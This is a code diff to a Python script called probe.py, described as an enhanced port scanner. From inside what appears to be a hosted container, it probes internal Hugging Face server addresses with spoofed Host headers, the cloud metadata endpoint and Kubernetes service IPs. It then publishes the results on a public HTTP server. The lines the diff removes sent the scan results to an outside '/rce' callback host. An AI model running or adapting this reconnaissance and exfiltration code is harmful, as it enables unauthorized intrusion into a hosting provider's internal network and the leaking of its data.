enhanced port scanner

probe.py

@@ -1,5 +1,5 @@
 #!/usr/bin/env python3
-import http.server, urllib.request, urllib.parse, socket, threading, time, json
+import http.server, urllib.request, urllib.parse, socket, json, ssl
 
 PROBE_URL = "https://xitro-env-probe.hf.space"
 
@@ -13,24 +13,40 @@ def check_port(host, port, timeout=2):
     except:
         return False
 
-def scan_and_fetch(host, port, path="/"):
-    if not check_port(host, port):
-        return None, False
+def http_get(host, port, path="/", hostname=None):
     try:
-        scheme = "https" if port in [443, 8443] else "http"
-        url = f"{scheme}://{host}:{port}{path}"
-        req = urllib.request.Request(url, headers={"Host": "api-internal.huggingface.co"})
-        r = urllib.request.urlopen(req, timeout=5)
-        return r.read().decode()[:500], True
+        if hostname is None:
+            hostname = host
+        conn_class = "http"
+        
+        # Create a raw HTTP request
+        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        s.settimeout(5)
+        s.connect((host, port))
+        
+        request = f"GET {path} HTTP/1.1\r\nHost: {hostname}\r\nConnection: close\r\n\r\n"
+        s.send(request.encode())
+        
+        response = b""
+        while True:
+            try:
+                chunk = s.recv(4096)
+                if not chunk:
+                    break
+                response += chunk
+                if len(response) > 10000:
+                    break
+            except:
+                break
+        s.close()
+        return response.decode('utf-8', errors='replace')[:1000]
     except Exception as e:
-        return str(e)[:200], True  # Port open but error
+        return f"ERROR: {e}"
 
-# Gather info
 info = {
     "hostname": socket.gethostname(),
     "ip": None,
-    "ports": {},
-    "internal_scan": {}
+    "scan": {}
 }
 
 try:
@@ -38,47 +54,41 @@ try:
 except:
     pass
 
-# Test internal hosts
+# Extended scan
 targets = [
-    ("10.0.249.215", [80, 443, 8080, 8443, 9090, 6379, 5432, 27017]),
-    ("10.0.249.10", [80, 443]),
-    ("10.0.249.254", [80, 443]),
-    ("169.254.169.254", [80]),  # IMDS
-    ("172.20.0.1", [443]),  # K8s
+    # Internal HF servers
+    ("10.0.249.215", [80, 443, 8080, 8443, 9090, 9200, 6379, 5432], "api-internal.huggingface.co"),
+    ("10.0.249.10", [80, 443], "huggingface.co"),
+    ("10.0.249.254", [80, 443], "huggingface.co"),
+    # IMDS
+    ("169.254.169.254", [80], None),
+    # K8s
+    ("10.96.0.1", [443], None),  # K8s service IP
+    ("172.20.0.1", [443], None),
 ]
 
-for host, ports in targets:
-    info["internal_scan"][host] = {}
+for host, ports, hostname in targets:
+    info["scan"][host] = {}
     for port in ports:
         open_status = check_port(host, port, timeout=2)
-        info["internal_scan"][host][str(port)] = "OPEN" if open_status else "closed"
-        if open_status and port in [80, 443, 8080]:
-            content, _ = scan_and_fetch(host, port)
-            if content:
-                info["internal_scan"][host][f"{port}_content"] = content[:200]
+        info["scan"][host][port] = "OPEN" if open_status else "closed"
+        
+        if open_status and port in [80]:
+            # Try to get HTTP response
+            resp = http_get(host, port, "/_internal/health", hostname or host)
+            info["scan"][host][f"{port}_content"] = resp[:400]
 
-print("Scan results:", json.dumps(info, indent=2))
-
-# Callback with results
-try:
-    params = urllib.parse.urlencode({
-        "src": "docker_scan",
-        "ip": info["ip"],
-        "results": json.dumps(info["internal_scan"])[:500]
-    })
-    urllib.request.urlopen(f"{PROBE_URL}/rce?{params}", timeout=5)
-    print("Callback sent!")
-except Exception as e:
-    print(f"Callback failed: {e}")
+print(json.dumps(info, indent=2))
 
-# HTTP server
+# HTTP server to serve results
 class Handler(http.server.BaseHTTPRequestHandler):
     def do_GET(self):
         self.send_response(200)
+        self.send_header("Content-Type", "application/json")
         self.end_headers()
         self.wfile.write(json.dumps(info, indent=2).encode())
     def log_message(self, *args): pass
 
 server = http.server.HTTPServer(("0.0.0.0", 7860), Handler)
-print("Server started")
+print("Server started on :7860")
 server.serve_forever()